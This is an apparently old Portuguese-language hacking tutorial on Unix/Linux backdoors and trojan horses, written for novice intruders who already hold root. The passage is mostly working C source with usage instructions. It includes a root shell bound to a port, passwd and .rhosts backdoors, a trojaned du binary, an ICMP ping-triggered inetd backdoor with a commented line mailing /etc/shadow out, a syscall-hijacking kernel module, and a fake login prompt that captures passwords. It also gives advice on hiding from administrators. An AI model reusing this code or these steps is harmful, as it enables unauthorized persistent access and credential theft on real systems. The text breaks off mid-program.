printf("Digite a hora q vc quer q seja aberta a back(0 a 23): ");
scanf("%s",&hora);
printf("Digite o minuto q vc quer q seja aberta a back(0 a 59): ");
scanf("%s",&minuto);
printf("Digite o dia da semana, caso queira(0 a 6) ou (* p/ todos): ");
scanf("%s",&semana);
sprintf(coloca1,"%s %s %s %s %s",minuto,hora,dia,mes,semana);
printf("Voce quer que seja acrescentado um user no passwd(s/n)? ");
scanf("%s",&resposta);
if(!strcmp(resposta,"s")){
printf("Digite o nome do usuario a ser acrescentado: ");
scanf("%s",&user);
sprintf(coloca2,"/bin/echo \"%s::0:0::/:/bin/sh\" >> /etc/passwd",user);
arquivo = fopen("./cronjobs","a+");
if(arquivo == NULL){
printf("Erro ao abrir o arquivo para escrita\n");
exit(ERRO);
}
sprintf(coloca3,"%s %s",coloca1,coloca2);
fputs(coloca3,arquivo);
fclose(arquivo);
if(fork() == 0){
execl("/usr/bin/crontab","crontab","cronjobs",0);
}
printf("Backdoor Executada com Sucesso!!\n\n");
}
else{
printf("Digite o comando que quer executar: ");
scanf("%s",&comando);
sprintf(coloca3,"%s %s",coloca1,comando);
arquivo = fopen("./cronjobs","a+");
if(arquivo == NULL){
printf("Erro ao abrir o arquivo para escrita.\n");
exit(ERRO);
}
fputs(coloca3,arquivo);
fclose(arquivo);
if(fork() == 0){
execl("/usr/bin/crontab","crontab","cronjobs",0);
}
printf("Backdoor Executada com Sucesso!!\n\n");
}
}
int passw(){
char login[20],coloca[50];
printf("**** Instalando Backdoor do passwd ****\n\n");
printf("Digite o login que deseja acrescentar: ");
scanf("%s",&login);
sprintf(coloca,"%s::0:0::/:/bin/sh",login);
arquivo = fopen("/etc/passwd","a+");
if(arquivo == NULL){
printf("Erro ao abrir o arquivo passwd(/etc/passwd).\n");
exit(ERRO);
}
fputs(coloca,arquivo);
fclose(arquivo);
printf("Backdoor Instalada com Sucesso!!\n\n");
}

int forward(){
char diretorio[30],arquivo[20],path[40],argumento[10];
printf("**** Linkando /etc/shadow para arquivo .forward ****\n\n");
printf("Digite o Diretorio aonde quer linkar o shadow: ");
scanf("%s",&diretorio);
sprintf(path,"%s/.forward",diretorio);
strcpy(argumento,"4777");
/* Obs: Se for Red Sux sem shadow, altere abaixo */
strcpy(arquivo,"/etc/shadow");
if(fork() == 0){
execl("/bin/ln","ln",arquivo,path,0);}
if(fork() == 0){
execl("/bin/chmod","chmod",argumento,path,0);
}
printf("Arquivo Linkado com Sucesso!!\n\n");
}

int suid(){
char diretorio[30],shell[20],argumento[10];
printf("**** Copiando Shell com suid root ****\n\n");
printf("Digite o PATH(Ex:/tmp/shell) que  quer que seja copiada a shell: ");
scanf("%s",&diretorio);
strcpy(shell,"/bin/sh");
strcpy(argumento,"04777");
if(fork() == 0){
execl("/bin/cp","cp",shell,diretorio,0);}
if(fork() == 0){
execl("/bin/chmod","chmod",argumento,diretorio,0);
}
printf("Shell Copiada com Sucesso!!\n\n");
}
int rlog(){
char dire[40],path[50],escreve[10];
printf("**** Instalando Backdoor Para rlogin ****\n\n");
printf("Digite o diretorio home para instalar arquivo: ");
scanf("%s",&dire);
sprintf(path,"%s/.rhosts",dire);
strcpy(escreve,"+ +");
arquivo = fopen(path,"a+");
if(arquivo == NULL){
fprintf(stderr,"Erro na Abertura do Arquivo!\n");
exit(ERRO);
}
fputs(escreve,arquivo);
fclose(arquivo);
printf("Backdoor Instalada com Sucesso!!\n\n");
}

int binda(){
int porta;
int Meusocket;
int tamanho, conector;
struct sockaddr_in hacker;
struct sockaddr_in vitima;
char engana[50];

printf("**** Instalando Backdoor Bind Shell!! ****\n\n");
printf("Digite o Numero da Porta Para Bindar a Shell: ");
scanf("%d",&porta);
if(fork() == 0){
vitima.sin_family=AF_INET;
vitima.sin_addr.s_addr= htonl(INADDR_ANY);
vitima.sin_port= htons(porta);
bzero(&(vitima.sin_zero), 8);
Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0){
fprintf(stderr,"Erro em socket()!\n");
exit(ERRO);
		 }
bind(Meusocket,(struct sockaddr *)&vitima,sizeof(vitima));
if(bind < 0){
fprintf(stderr,"Erro em bind()!\n");
exit(ERRO);
	    }
listen(Meusocket,2);
tamanho = sizeof(hacker);
conector=accept(Meusocket,(struct sockaddr *)&hacker,&tamanho);
if(conector < 0){
fprintf(stderr,"Erro em accept()!\n");
		}
dup2(conector,0);
dup2(conector,1);
dup2(conector,2);
execl("/bin/sh","sh",0);
        }
printf("\n**** Backdoor Instalada com Sucesso!! *****\n\n");
}
---------------------------------------------------------------------------

Aih estah um programa que automatiza todas as backdoors ultrapassadas
descritas acima.Nao eh um programa pratico, veja se terah alguma utilidade
para voce, o importante neste caso eh somente conhecer como funciona e
se instala essas backdoors.

3.2. Tecnicas Mais Atuais
--------------------------

Vamos ver agora algumas tecnicas mais atuais de backdoors.Estas tecnicas
tambem sao muito difundidas, um administrador responsavel com certeza
possui conhecimentos destas tecnicas, irei descreve-las visando o pessoal
NewBie, para que se possa ter varias opcoes em caso de rootiamento(que
palavra hein!) bem sucedido.
Uma vez que o invasor conseguiu se tornar root na rede invadida, as
possiveis opcoes de backdoor sao infindaveis e incontaveis.Com um
conhecimento basico de C, eh possivel garantir o acesso futuro a rede de
modo eficaz, mesmo que o administrador da rede possua bons conhecimentos
de tecnicas usadas por fucadores.Essas tecnicas mais atuais visam
justamente dificultar a percepcao, por parte dos administradores de rede,
das backdoors instaladas no sistema.Veremos alguns esquemas bem basicos
deste tipo de backdoors.

3.2.1 Criando Arquivo Suid que Executa Shell Root
--------------------------------------------------

No item anterior vimos um tipo de backdoor que copiava uma root shell e
depois tornava o arquivo suid, para que, num futuro proximo, o invasor
pudesse obter uma shell root apenas executando o arquivo(quimera.txt).
Mas, como foi dito, existem sistemas que colocam protecoes, onde, antes de
se executar uma shell, o syscall getuid fornece a uid do usuario
impedindo-o a execucao da root shell.Para contornar este problema, um
invasor com conhecimentos basicos de Linux e C, pode perfeitamente criar
um programa que seta primeiro a uid como zero(root) e depois executa a
shell ou caso deseje algum outro comando.Vejamos um exemplo deste programa:

---------------------------------setback.c-----------------------------------

/* Backdoor que envia um setuid(0) e em seguida executa um /bin/sh 
   Desenvolvido por Nash Leon p/ tutorial sobre Backdoors e Troajns.*/

#include <stdio.h>
#include <unistd.h>

main(){
setuid(0);
execl("/bin/sh","sh",0);
}
-----------------------------------------------------------------------------

Pronto amigo, compile este programa como root, depois torne-o suid(chmod
+s arquivo).Como podemos ver, nao tem muito segredo.Mas ainda nao eh um
bom esquema, mais abaixo veremos o porque.

3.2.2 - Criando Arquivo Suid e Camuflando-o 
--------------------------------------------

Vimos acima a execucao de um programa para nos dar root shell.Veremos
agora outro possivel esquema para os mesmo intuito.Um arquivo, que
geralmente nao eh muito usado eh o "/bin/du", existem diversos outros,
muitos ateh melhores, mas citarei este.Se um administrador de redes eh
descuidado, poderemos fazer algumas coisinhas.Como root compilamos o 
programa abaixo:

-------------------------------backdu.c---------------------------------

/* Simples Backdoor Camuflada num Programa.
   Desenvolvido por Nash Leon vulgo coracaodeleao.
   nashleon@yahoo.com.br
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define   MAGICA     "nashleon"
#define   DU      "/usr/bin/dul"

main(int argc, char *argv[]){
char opcao[100], arquivo[50];
if(argc == 1){
execl(DU,"du",0);
}
if(argc > 1){
if(!strcmp(argv[1],MAGICA)){
printf("Backdoor Executada!!\n");
setuid(0);
execl("/bin/sh","sh",0);
}
if(argv[1]){
strcpy(opcao,argv[1]);
if(argv[2]){
strcpy(arquivo,argv[2]);
execl(DU,"du",opcao,arquivo,0);
           }
execl(DU,"du",opcao,0);
          }
}
}
---------------------------------------------------------------------------

Bom, amigo, agora possiveis esquemas para isso.Poderiamos mover o
executavel do du (/bin/du) para /usr/bin/dul, compilamos o programa acima 
como /bin/du, em seguida chmod +s /bin/du, isto faria com que o programa
acima nos desse uma shell quando executarmos ele da seguinte maneira:

[NewBie@redelamer.com]$ /bin/du nashleon

Se for executado com argumento diferente ao definido como "MAGICO", o
programa /usr/bin/dul(du verdadeiro) serah executado sem problemas.
Voce pode alterar o passe magico, pode tambem colocar para poder receber
mais argumentos, coloquei somente dois para ilustrar.Esse esquema soh
seria uma boa com administradores displicentes(XX%)..:)..Uma implementacao
muito mais eficaz deste esquema eh criar num arquivo que jah eh suid root
default por natureza e pouco usado(Exemplos: /usr/lib/uucp/uuchk; 
/usr/libexec/pt_chown; /sbin/cardctl), procure no sistema aonde voce
estiver e veja o estado da rede, isso varia muito de sistema para sistema.


3.2.3 - Backdoor via ping
--------------------------

Recentemente o module do Unsekurity Team publicou um txt falando sobre uma
possivel "falha" no protocolo ICMP permitindo assim que uma backdoor fosse
instalada e inicializada via ping.Isso nao eh coisa nova,mas eh um bom
esquema no intuito de camuflar a backdoor de comandos como netstat.Existem
diversos esquemas para esta backdoor, com destaque para um programa feito
pelo jamez da sekure.org que pode ser obtido em:
http://packetstorm.securify.com/new-exploits/ping-back.c
Eu desenvolvi um programa mais simples que executa uma backdoor
e apos seu uso(soh permite usar 1 vez) o processo eh derrubado, mas como
outra backdoor menos discreta(inetd) terah sido entao instalada lah,
podemos acessar a rede alvo e qualquer coisa acionarmos novamente esta
backdoor.Aih vai o fonte:

------------------------------nlicmp.c---------------------------------

/* Backdoor Camuflada e Executada via ping.
   Desenvolvida por Nash Leon vulgo coracaodeleao.
   nashleon@yahoo.com.br
   Com base no icmp tunelling(module) e na backdoor
   do jamez(jamez@sekure.org).
   Uma versao do tutorial do module pode ser obtida em:
   http://unsekurity.virtualave.net/
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* Altere aqui para o nome do programa que voce quer que apareca em
   eventuais ps aux, top e etc.. */

#define   NOME_PROC     "[kflushd]"
#define   ERRO           -1

int backdoor();
int main(int argc, char *argv[]){
int Meusocket, tamanho_iniciar;
int recebe, tam;
char pacote[4096];
struct sockaddr_in hacker;
if(argc < 2) {
printf("\n**** Backdoor via PING By Nash Leon ****\n");
printf("\nuso: %s <tamanho_pacote>\n\n", argv[0]);
printf("Para Executa-la digite em seu host local:\n");
printf("[hacker]# ping <ip_da_vitima> -s <tamanho_pacote>\n\n");
exit(0);
}

tamanho_iniciar = atoi(argv[1]);
memset(argv[0],0,100);
strcpy(argv[0],NOME_PROC);

if (fork() == 0) {
Meusocket = socket(AF_INET,SOCK_RAW,1);
if(Meusocket < 0){
exit(ERRO);
                }
while(1){
tam = sizeof(hacker);
recebe = recvfrom(Meusocket,pacote,sizeof(pacote),0,(struct sockaddr
*)&hacker,&tam);
if(recebe == tamanho_iniciar+28){
backdoor();
exit(0);
                           }
}
}
}
/* Voce pode alterar o esquema abaixo para um mais funcional */
int backdoor(){
system("echo \"20000 stream  tcp  nowait  root  /bin/sh sh\" >>
/etc/inetd.conf");
system("inetd");
/* system("cat /etc/shadow | mail NewBie@redexxx.com.br") */
return 0;
}
-------------------------------------------------------------------------

Voce pode alterar este esquema de backdoor para qualquer um outro,veja
o que poderah ser mais util para voce.Uma vez instalada a backdoor no
servidor rootiado, tudo que voce precisa fazer eh executar no futuro um
ping <host_vitima> -s <tamanho do pacote>, esse tamanho do pacote tem que
ser igual ao que voce colocou no host vitima.A grande vantagem desse tipo
de backdoor eh que no "netstat -na", irah aparecer uma conexao ativa
raw, e nao tcp, dificultando assim a percepcao de administradores menos
experientes.Com um basico de conhecimentos em C, voce poderah fazer
esquemas melhores.Alguns esquemas melhores que este, alem do esquema do
jamez, sao: o da itunnel da teso(http://teso.scene.at/), os programas 
icmp_pipe.c e icmp_client.c, ambos requerem algumas modificacoes, da
w00w00 (www.w00w00.org), bem como o proprio projeto LOKI descrito na
phrack(www.phrack.com - itens P49-6 e P51-6).De uma lida no txt do module
em http://unsekurity.virtualave.net/ e saiba mais sobre Tuneis ICMP.Se
voce tah manjando bem de sockets poderah notar que esse esquema pode ser
expandido, pois eh uma comparacao de recvfrom() que executa toda a magica.

3.2.4 - Backdoor em LKM (Loadable Kernel Module)
--------------------------------------------------

O Linux eh um poderoso sistema operacional, defini-se ele como sendo o
sistema operacional "feito por programadores para programadores".A
programacao de Kernel Modules pode ser encontrada em varios sistemas
operacionais, dentre eles, linux, solaris, bsd e etc..
Algum tempo atras, um grupo de hackers alemao divulgou um excelente
tutorial  ensinando como se programar LKM.O fato eh que bem antes
desse tutorial sair, jah existiam tecnicas para se aproveitar desta
poderosa ferramenta para executar intuitos fucadores.Podemos ver isso nas
PHRACKS 51-9 e 52-18, leia as duas, pois os possiveis esquemas descritos
nelas sao "extraordinarios", um pouco antigos, mas ainda podem ser
aplicados em varios casos.Quanto ao tutorial da THC(The Hackers Choice),
este tutorial pode ser obtido em http://www.infowar.co.uk/thc/ , lah
voce poderah encontrar tambem tutoriais sobre kernel modules em Solaris
e FreeBSD.Soh para ilustrar a importancia destas tecnicas que envolvem
Kernel Modules, em alguns casos, eh possivel sequestrar um tty, e
consequentemente um Terminal.O que fica evidenciado com isso tudo eh
que um fucador precisa dominar bem o sistema operacional, tenho me
especializado em linux, mas faz-se necessario conhecer o basico sobre
varios sistemas operacionais.Leia o documento da the hackers choice e
verah o poder que representa o dominio desses LKMs.Vejamos um exemplo
dessas LKMs.

------------------------------NLkmback1.c-----------------------------

/* SIMPLES EXEMPLO DE BACKDOOR EM LKM!!
   TORNA TODOS OS USUARIOS COM UID IGUAL A 0.
   DESENVOLVIDO POR NASH LEON VULGO CORACAODELEAO.
   nashleon@yahoo.com.br
   Feito para kernel 2.2.13 (Slackware 7.0).
*/

#define     MODULE
#define   __KERNEL__

/* Headers.Muito cuidado ao manipular em kerneis diferentes!! */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/stat.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/unistd.h>

/* Chama a Tabela de Systemcalls */

extern void *sys_call_table[] ;

/* Funcoes que serao usadas p/ "salvar" a configuracao antiga dos
   usuarios */

int (*original_setuid)(uid_t);
int (*original_getuid)();

/* Nossa funcao backdoor para sys_setuid */

int back_set(uid_t uid){
int N;
if (current->uid != 0){
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->suid = 0;
current->sgid = 0;
current->fsuid = 0;
current->fsgid = 0;
}
return 0;
}

/* Nossa funcao backdoor para sys_getuid */

int back_get(){
int L;
/* Compara uid atual, se for diferente de zero, ele irah transformar
   os configuracoes que desejamos */

if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
                      }
        return 0;
}

/* Funcao inicial.. Uma funcao minima usada em LKM. Assim como em C nos
   somos obrigados a colocar main(), em LKM somos obrigados a colocar
   init_module() e cleanup_module(), sendo que, init_module eh usada para
   carregar os modulos, e cleanup_module() para descarregar o modulo */

int init_module(void){
printk("<1>BACKDOOR VIA LKM by Nash Leon!!\n");
printk("<0>\n");
printk("<1>Instalando Backdoor...\n");
original_setuid = sys_call_table[__NR_setuid];
original_getuid = sys_call_table[__NR_getuid];
sys_call_table[__NR_setuid] = back_set;
sys_call_table[__NR_getuid] = back_get;
printk("<1>****.* Unsekurity Team *.****\n");
printk("<1>Backdoor Instalada com Sucesso!!!\n");
return 0;
}

/* Aqui estah cleanup_module() descarregando e fazendo o sistema voltar ao
   normal.Coloquei uma mensagem de saida, mas voce pode retira-la.Como 
   quem deve retirar o modulo eh um admin, caso o perceba, voce pode entao,
   mudar a saida para que imprima algo como Modulo do jogo tal
   descarregado */

int cleanup_module(void){
sys_call_table[__NR_setuid] = original_setuid;
sys_call_table[__NR_getuid] = original_getuid;
printk("<1>Modulo Descarregado!\n");
return 0;
}

-------------------------------------------------------------------------

Compile ela com: gcc -c -O3  NLkmback1.c.
Depois para carregar o modulo, como root, digite: insmod NLkmback1.o
Preste atencao a kernel usada, mecher com LKMs eh um pouco perigoso, voce
pode literalmente "destruir" o sistema.Para descarrega-la basta digitar:
"rmmod NLkmback"  ou mesmo "modprobe -r NLkmback".
Para que voce venha a ter mesmo uma rootshell tudo que voce precisa fazer
agora eh digitar o comando "/bin/sh".Vamos ver abaixo um esquema do que
pode-se fazer com isso:

* Assim que rootiar o sistema:

#gcc -c -O3  NLkmback1.c
#insmod NLkmback1.o

* Num acesso normal a shell(como usuario normal) futuramente:

$ id
uid=0(root) gid=0(root) euid=1000(nashleon) groups=100(users)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ /bin/sh
# id
uid=0(root) gid=0(root) groups=100(users)
# cat /etc/shadow
root:$1$1UhFt4n/$xs/ddkr.eN.....

Como podemos ver, eh algo interessante mesmo, mas tem esquemas melhores
ainda.No meu exemplo, todos os usuarios se tornariam root, conhecendo um
pouco de C e LKM, voce facilmente poderia impedir que todos tivessem uid
igual a 0, voce tambem poderia botar esse modulo para ser carregado
sempre, seja via rc.d ou se dominar bem LKM e linux, existem esquemas
melhores ainda, de qualquer forma, vale a esperteza do fucador, cada
sistema eh um caso, e as kerneis possuem particularidades, quando for
programar LKMs cuidado com os headers, enfim, existe infinitas
possibilidades com LKMs.Gostaria de dizer algo, nao posso afirmar, como
tenho dito, conheco um pouco de Linux somente, mas creio que Loadable
Kernel Modules existem em todos os SOs, nao sei, soh tenho conhecimento
veridico de alguns, se voce eh admin, tome cuidado! Se com linux, que eh
codigo aberto, as dificuldades impostas para os admins sao consideraveis
quanto mais com codigo fechado!!(Que digam as VxDs..:)!!).
Existem esquemas melhores que este, podemos ver alguns como:

adore-0.14.tar.gz -> Desenvolvido pela Teso(http://teso.scene.at/).
phide.tar.gz -> by noupe (Pode ser encontrado na packetstorm).
taskigt.tar.gz -> by noupe (http://ns2.crw.se/~tm/ ou na packet).

Devem existir bem mais por aih, principalmente do pessoal que nao publica
o quente...:)..

Mais uma vez, fica evidenciado que se o administrador ou o responsavel
pela seguranca nao tiver conhecidos plenos do Sistema Operacional que
usa em sua rede, a melhor coisa que ele tem a fazer eh desligar o servidor
da tomada.Existe um programa chamado sec_lkm.c by pIGpEN, que tambem pode
ser obtido na packetstrom, esse programa eh um "LKM DETECTOR", mas para
FreeBSD, para linux ainda nao tenho conhecimento de algum, somente de
possiveis protecoes "autonomas" por parte dos admins descritas no tutorial
da The Hackers Choice, lah tem alguns prototipos tambem.
Um programa tambem que devemos analisar eh o heroin.c by Runar Jensen,
seu codigo fonte pode ser obtido no tutorial da THC, ele ilustra bem
o poder das LKMs e as possiveis dificuldades que um admin pode se deparar.
Um comentario detalhado do que esta LKM faz segue nesse tutorial.Sem mais
por enquanto sobre LKM em Linux, por enquanto!!:)


3.2.5 - Tuneis
---------------

Os Tuneis sem duvida sao fantasticos.Os Tuneis ou o conceito de
tunelamento sao canais feitos pelos invasores para comunicacao direta
entre host vitima e o futuro invasor, tudo para fugir dos firewalls e
ferramentas IDS(Sistema de Deteccao de Intrusos ou Intrusao).Dependendo
do nivel do fucador, os tuneis em alguns casos podem ser as melhores
opcoes, em especial usado em conjunto com esquemas jah descritos
anteriormente.Um poderoso tunel que 99% dos firewalls permitiriam acesso
ao mesmo eh o HTTP TUNEL, pois poucas sao as redes que filtram acesso a 
porta 80(http).Eh de comum consenso, que quanto maior o nivel de
conhecimentos por parte do fucador, mais dificil para o administrador da
rede detecta-lo.Como jah dito anteriormente, existe um tutorial sobre
Tunel ICMP na home page do Unsekurity Team.Existem tuneis em diversos
protocolos,e se usado em conjunto com LKM, se torna uma tecnica muito
efetiva.No meu tutorial de "Programacao Basica de Sockets em C para
Linux - II Parte", eu descrevo um pouco da teoria sobre esta tecnica.Em
breve, estaremos disponibilizando mais material, para que o fucador possa
compreender plenamente esta tecnica.Se for possivel, na continuacao desse
tutorial eu disponibilizarei um codigo fonte como exemplo.

3.2.6 - Backdoor em Codigo Fonte
---------------------------------

Um numero consideravel de redes com sistema Linux costumam permanecer com
os programas padroes, os mesmo programas que vem junto com as
distribuicoes Linux como um todo.Em alguns casos, na maioria das vezes por
necessidade, o administrador da rede troca alguns aplicativos por outros,
mas isso nao eh tao comum.De qualquer forma, um fucador pode muito bem
antes de invadir o sistema obter informacoes sobre quais programas estao
sendo executados no servidor alvo, sejam daemons, seja banco de dados, etc.
Tendo posse dessas informacoes, muitos pacotes do Linux sao Open Source,
possuem o codigo fonte aberto, entao o fucador poderia baixar o programa,
alterar o codigo fonte inserindo codigo malicioso, poderia ateh compilar
na sua maquina local, e apos bem sucedida a invasao ele poderia enviar o
programa alterado para construir assim uma backdoor.Existem muitos pros e
contras quanto a isso.Creio eu que existem esquemas mais praticos, mas 
como cada caso eh um caso, essa tecnica tem sido muito difundida tambem.
Eu jah vih diversas versoes do wu.ftpd, do sendmail, e imapds alterados.
Qualquer coisa, de uma olhada na packetstorm e procure por trojans e
backdoors.

3.3 - RootKits
---------------

Os Rootkits sao ferramentas poderosissimas.Rootkits que envolvem LKM e
os que alteram binarios "criticos" podem ser considerados como as melhores
backdoors hoje disponiveis.Existem RootKits que tornam "invisiveis" as
acoes de um usuario invasor.No Mundo Unix, os Rootkits sao velhos
conhecidos.Na Internet existem dezenas desses programas, alguns mais
eficientes, outros menos.O que esses Rootkits procuram fazer eh alterar
o sistema para que um invasor que jah tenha rootiado o sistema possa ter
acesso ao mesmo quase sem preocupacao alguma, pois dentre outras coisas,
esses RootKits fazem:

* Alteram arquivos do sistema como netstat, ps, top, pstree, who, dentre 
  outros, para esconder o invasor e suas acoes.

* Abrem portas e/ou Tuneis que nao aparecem em ferramentas basicas de
  log, bem como no proprio netstat.

Isso em cima eh o basico, existem Rootkits que carregam via modulo e
depois fazem com que o modulo nao possa ser visto via lsmod;Alguns sao
capazes de se camuflarem de ferramentas como Tripware; 
Enfim, sao armas poderosissimas na mao de um invasor.Em tutoriais
futuros, veremos com bastante calma, algumas das possiveis implementacoes
desses rootkits.


3.4 - Sugestoes
----------------

Nesse tutorial inicial eu me limitei a descrever tecnicas ultra-basicas 
de backdoors.Algumas ateh nao sao consideradas tao basicas assim, mas
jah estao bem difundidas.Sem duvida, dependendo da rede, cada exemplo
desses descritos acima podem ser aproveitados.Quanto aos tuneis e aos
rootkits, como sao tecnicas que requerem um conhecimento maior do fucador
na Pratica de Programacao, bem como de Sistema Operacional e Protocolos
de Rede, num futuro proximo, talvez algum membro do grupo venha
disponibilizar em maiores detalhes como se implementa alguma ou mesmo
todas essas tecnicas.Espero que isso venha a ser util para voce, sem
mais por enquanto.


-------------------
4 - TROJANS HORSES |
-------------------

Esta tecnica eh amplamente difundida.Nove em cada 10 internautas jah ouviram 
falar sobre isso.Sem sombra de duvida que com a divulgacao em massa dos
trojans para sistemas windows, essa tecnica hoje estah em descredito.A
massificacao trouxe a tona a facilidade de implementacao dos trojans e de
seus usos.O que pouca gente sabe eh que isto jah existia ha seculos no
mundo unix, e como unix requer um maior empenho e atencao do administrador,
as tecnicas que envolvem trojans horses nao sao consideradas efetivas em
muitos casos.Com o crescimento que o linux vem demonstrando, volta a tona
o perigo real por parte desses trojans.Seja um kiddie, um lamer ou mesmo
um admin descuidado, muita gente estah vulneravel.Irei disponibilizar
algumas tecnicas deste conceito em sistemas linux, algumas voltadas para
nivel local(com acesso shell a rede alvo), e outras para nivel remoto(sem
nenhum acesso a maquina).Lembrando que, assim como no caso das backdoors,
trojans sao pessoais, tem esquemas que nao foram divulgados ainda e outros
que pouca gente conhece, eu irei descrever apenas os mais conhecidos,
creio eu..:)..De qualquer forma, analise-os e veja se tem alguma utilidade
para voce.
O uso de trojans por parte de fucadores creio que deve ser em ultimo caso,
quando tudo falhou(overflows,brutal force, sniffers, eng. social e etc..),
talvez deva-se recorrer a isso.Lembrando sempre, que voce estarah mais do
que nunca dependente do usuario, se ele for esperto, voce nao soh
fracassarah como poderah mesmo se expor, por isso, toda cautela eh pouco!

4.1. Alguns Tipos Basicos
--------------------------

Nesse tutorial me limitarei a escrever somente esquemas basicos sobre
trojans,assim como nos exemplos acima sobre backdoors, essa parte sobre
trojans eh voltada ao pessoal NewBie,talvez num futuro, eu disponibilize
mais esquemas.

4.1. Trojan de Diretorio
-------------------------

Essa tecnica de Trojan Horse eh bem antiga.Ha indicios que Ron Austin no
inicio de 1980 a dominava e a praticava(conforme "A vida excentrica e os
serials crimes do hacker Kevin Poulsen" de Jonathan Littman), confesso
que gostei deste livro.De qualquer forma, esta tecnica consiste em enviar
um arquivo para capturar senhas ou executar determinados comandos como se
fosse o usuario dono do diretorio home.Possiveis exemplos desses arquivos
sao os scripts .bashrc, .profile, e etc, que costuma executar comandos
quando um usuario se loga ao sistema.
O pre-requisito para que esta tecnica funcione eh justamente poder criar
ou alterar o arquivo no diretorio home do usuario.
Muita gente(nao-hackers que desistem facilmente!) conhecem a tecnica usada
para acessar sistemas NFS, e sabem como mandar arquivos, em especial
.rhosts para os diretorios home dos usuarios no intuito de obter acesso
shell ao host vitima.Mas quando nao se tem rlogin habilitado, muitos
desses "lamers" desistem e vao procurar outras redes ou algum outro
esquema.De qualquer forma, o administrador da rede que retira rlogin, mas
deixa diretorio criticos permissiveis a montagem via NFS nao deve ter
nocao do perigo que estah correndo.Uma vez montado o diretorio, e feito
o esquema de envio de arquivos via NFS(adduser), pode-se facilmente
alterar os arquivos e enviar trojans para tentar executar programas ou
capturar senhas via usuario vitima.Nao irei ensinar este esquema para
enviar programas e mudar arquivos via NFS, pois existem dezenas de
tutoriais que ensinam isso, caso necessite, entre em contato comigo e eu
passarei algum link.Mas vamos ao trojan.

-------------------------------trojdir.c--------------------------------

/* Simples trojan de diretorio que emula um prompt e captura
   a senha em texto limpo...Bom p/ ser usado em sistemas NFS
   que nao permitem conexao via rlogin...
   Desenvolvido por Nash Leon vulgo coracaodeleao.
   nashleon@yahoo.com.br
   OBS: Nao me responsabilizo pelo mau uso deste programa.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern char *getpass();

main(int argc, char *argv[])
{
FILE *catador;
char login[50], *senha;
int i;
/* Abaixo segue o prompt do sistema, altere-o
p/ que se pareca com o prompt da vitima */
printf("Login incorrect\n\n");
printf("Conectiva Red Sux login: ");
scanf("%s",&login);

/* Se ligue aki, isso varia muito tb de sistema p/ sistema */
senha = getpass("Password:");

catador = fopen("./.arquivo.txt" ,"a+");
if(!catador){exit(0);}

fputs("login:",catador);
for(i=0;login[i];i++)
putc(login[i],catador);
putc('\n',catador);

fputs("senha:",catador);
for(i=0;senha[i];i++)
putc(senha[i],catador);
putc('\n',catador);
putc('\n',catador);
return 0;
}

/* Essa tecnica pode ser usada em conjunto com permissoes
em diretorios via NFS(su user)... basta modificar o arquivo .profile
ou .bashrc... dependendo do sistema.. um exemplo tipico seria
colocar ele em todos os dir dos usuarios mandando o arquivo que vai
ser escrito,no caso acima (./.arquivo.txt) p/ um dir onde todos tem
permissao de escrita... ex: (/var/tmp/.arquivo.txt).Atencao..veja se
voce tera acesso a esse arquivo ou diretorio depois.
Em caso de sistemas diferentes dos que voce possui como o codigo estah
em c padrao vc pode chamar a rotina de algum compilador p/ que o codigo
possa ser compilado e em seguida chamar a execucao do mesmo...abaixo
seguem exemplos do que se pode fazer com isso:
[*] No diretorio do usario..colocar num arquivo .profile:

#Diretorio setado p/ arquivos temporarios
/var/tmp/temp
#FIM DO ARQUIVO

[*] /var/tmp/temp -> eh o arquivo que ira ser executado.
ele poderia conter:
#
gcc -o /var/tmp/.ptnl /var/tmp/.ptnl.c
./ptnl
#FIM DO ARQUIVO
onde:
gcc compila o arquivo, em seguida ele eh executado.
*/

-------------------------------------------------------------------------

Este trojan funciona perfeitamente, ele pode ser usado em varios sistemas,
destaque para AIX(Gosto de AIX!!:)).Mas cuidado!!Voce pode perceber que
para funcionar sem problemas futuros, voce vai contar com a ajuda de um
usuario desatento.Nas investidas que fiz, na maioria das vezes eu jogava
em diretorios home de mulheres, e nao fui bem sucedido, amigo, isso mesmo!!
Sem sombra de duvidas, as mulheres sao bem mais atentas do que os homens
quanto a isso, eu que o diga!

4.1.2 - O Truque do &
----------------------

Outro esquema muito difundido e tambem muito eficaz com usuarios desatentos
e sem muito conhecimentos eh o truque do &.Em sistema linux, esse caracter
especial eh usado para fazer com que um processo rode em background.Se
voce possui acesso a shell voce pode se utilizar deste artificio para
conseguir algumas coisinhas.Esse esquema pode ser util em redes onde o
administrador configura os usuarios com PATH=./ .Isso serve para fazer com
que os usuarios digitem sempre o local completo dos executaveis quando
for executar algum.Mas vejamos um exemplo de um possivel esquema para
este tipo de trojan:

* Crie um arquivo parecido com o abaixo e depois o compile.

---------------------------------.jpg.c---------------------------------

/* Simples Exemplo de um arquivo executavel que serah executado a
   partir do truque do &.Desenvolvido por Nashleon vulgo coracaodeleao.
   nashleon@yahoo.com.br
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

/* Lugar onde estarah instalado um binario de uma
   backdoor.Exemplo: a backdoor que binda uma shell
   descrita no tutorial no item backdoors antigas */

#define    PATH     "/home/nashleon/backsock"

FILE *arquivo1, *arquivo2, *arquivo3;

main(int argc, char *argv[]){
char escreve[10],login[20];
char path[40];
/* Se for root, instala-se uma backdoor e copia o shadow */
if(getuid() == 0){
execl("/bin/cp","cp","/etc/shadow","/home/nashleon/shad.txt",0);
execl("PATH","backsock",0);
}
else{
system("/usr/bin/printenv | /usr/bin/grep 'LOGNAME' | /bin/cut -d '=' -f 2 
> 1.txt");
strcpy(escreve,"+ +");
arquivo1 = fopen("./1.txt","rt");
if(arquivo1 == NULL){
exit(0);
}
fgets(login,20,arquivo1);
sprintf(path,"/home/%s/.rhosts",login);
system("/bin/touch /var/tmp/.vitimas");
system("/bin/chmod 0777 /var/tmp/.vitimas");
